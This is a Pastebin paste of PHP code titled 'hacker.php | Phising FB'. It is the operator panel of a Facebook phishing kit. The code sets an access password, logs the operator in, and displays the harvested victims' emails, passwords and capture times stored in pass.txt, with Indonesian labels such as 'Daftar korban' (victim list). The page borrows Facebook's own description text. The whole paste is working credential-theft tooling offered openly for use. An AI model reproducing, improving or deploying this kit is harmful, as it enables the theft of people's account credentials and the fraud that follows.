HenryGlazt

hacker.php | Phising FB

Nov 30th, 2014
357
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.09 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. if($_GET['act']=='logout'){
  5. session_destroy();
  6. header('location:hacker.php');
  7. }
  8.  
  9. echo '<?xml version="1.0" encoding="utf-8"?>';
  10.  
  11. echo '<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">';
  12.  
  13. echo '<html xmlns="http://www.w3.org/1999/xhtml">';
  14.  
  15. echo '<head><title>Hacker Panel</title><meta name="description" content="Facebook helps you connect and share with the people in your life." /><meta name="referrer" content="default" id="meta_referrer" /><noscript><meta http-equiv="X-Frame-Options" content="deny" /></noscript>';
  16. echo '<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />';
  17. echo '<link rel="stylesheet" href="http://choky.wapsite.me/wapmaster/jcms.css" type="text/css" />';
  18.  
  19. echo '</head>';
  20. if(file_exists('pass.php')){
  21. include 'pass.php';
  22. }
  23. if(isset($passw)){
  24.  
  25. if(isset($_SESSION['passw'])){
  26. echo '<div class="phdr"><center><b>Daftar korban</b></center></div>';
  27. echo '<div class="tmn">';
  28. if(file_exists('pass.txt')){
  29. $file=fopen('pass.txt',r);
  30. $files=fgets($file);
  31. if(!empty($files)){
  32. $potong=explode('|#|',$files);
  33. foreach($potong as $hasil){
  34. $data=explode('|',$hasil);
  35. if(!empty($hasil)){
  36. echo '<div class="clip">Email: '.$data['0'].'<br />Pass: '.$data['1'].'<br />Terjebak: '.$data['2'].'</div>';
  37. }
  38. }
  39. }else{
  40. echo '<div class="clip">Belum ada yang terjebak</div>';
  41. }
  42.  
  43. fclose($file);
  44. }else{
  45. echo '<div class="clip">Belum ada korban</div>';
  46. }
  47. echo '</div>';
  48.  
  49.  
  50. }else{
  51. echo '<div class="phdr"><center><b>Login</b></center></div>';
  52.  
  53. echo '<div class="clip">';
  54. if($_POST['login']){
  55. $pas=md5($_POST['pass']);
  56. if($pas != $passw){
  57. echo '<div class="alarm">Password Salah Cok !!!</div>';
  58. }else{
  59. $_SESSION['passw']=$pas;
  60. header('location:hacker.php');
  61. }
  62. }
  63.  
  64.  
  65. echo '<form method="post" action="?">Password:<br /><input type="password" name="pass" value=""><br /><input type="submit" name="login" value="Log In"></form></div>';
  66.  
  67.  
  68. }
  69.  
  70.  
  71.  
  72.  
  73. }else{
  74. echo '<div class="phdr"><center><b>Atur Password</b></center></div>';
  75. if($_POST['save']){
  76.  
  77. $passw=$_POST['passw'];
  78. if(preg_match("/[^0-9]/",$passw)){
  79. echo '<div class="alarm">Password karakternya angka aja gan jangan pake huruf atau symbol</div>';
  80. }else{
  81. $file=fopen('pass.php',w);
  82. $pw=md5($passw);
  83. $adm = "<?php\r\n\r\n" .
  84. '$passw = ' . "'$pw';\r\n\r\n" .
  85. '?>';
  86.  
  87.  
  88. $create=fwrite($file,$adm);
  89. fclose($file);
  90. header('location:hacker.php');
  91. }
  92.  
  93. }
  94.  
  95. echo '<div class="clip">';
  96. echo '<form method="post" action="?">Silahkan atur password dulu. Ini digunakan untuk mengakses data pada panel admin.<br /><input name="passw" type="text" value=""><br /><input type="submit" name="save" value="Simpan"></form></div>';
  97.  
  98. }
  99. echo '<div class="tmn"><div class="list1"><a href="index.php">Index</a></div>';
  100. if(isset($_SESSION['passw'])){
  101. echo '<div class="list1"><a href="hacker.php?act=refresh">refresh</a></div>';
  102. echo '<div class="list1"><a href="hacker.php?act=logout">Log out</a></div>';
  103. }
  104. echo '<div class="list1"><a href="https://twitter.com/HenryGlazt">Created By HenryGlazt</a></div>';
  105.  
  106. echo '</div></body></html>';
  107.  
  108. ?>
Add Comment
Please, Sign In to add comment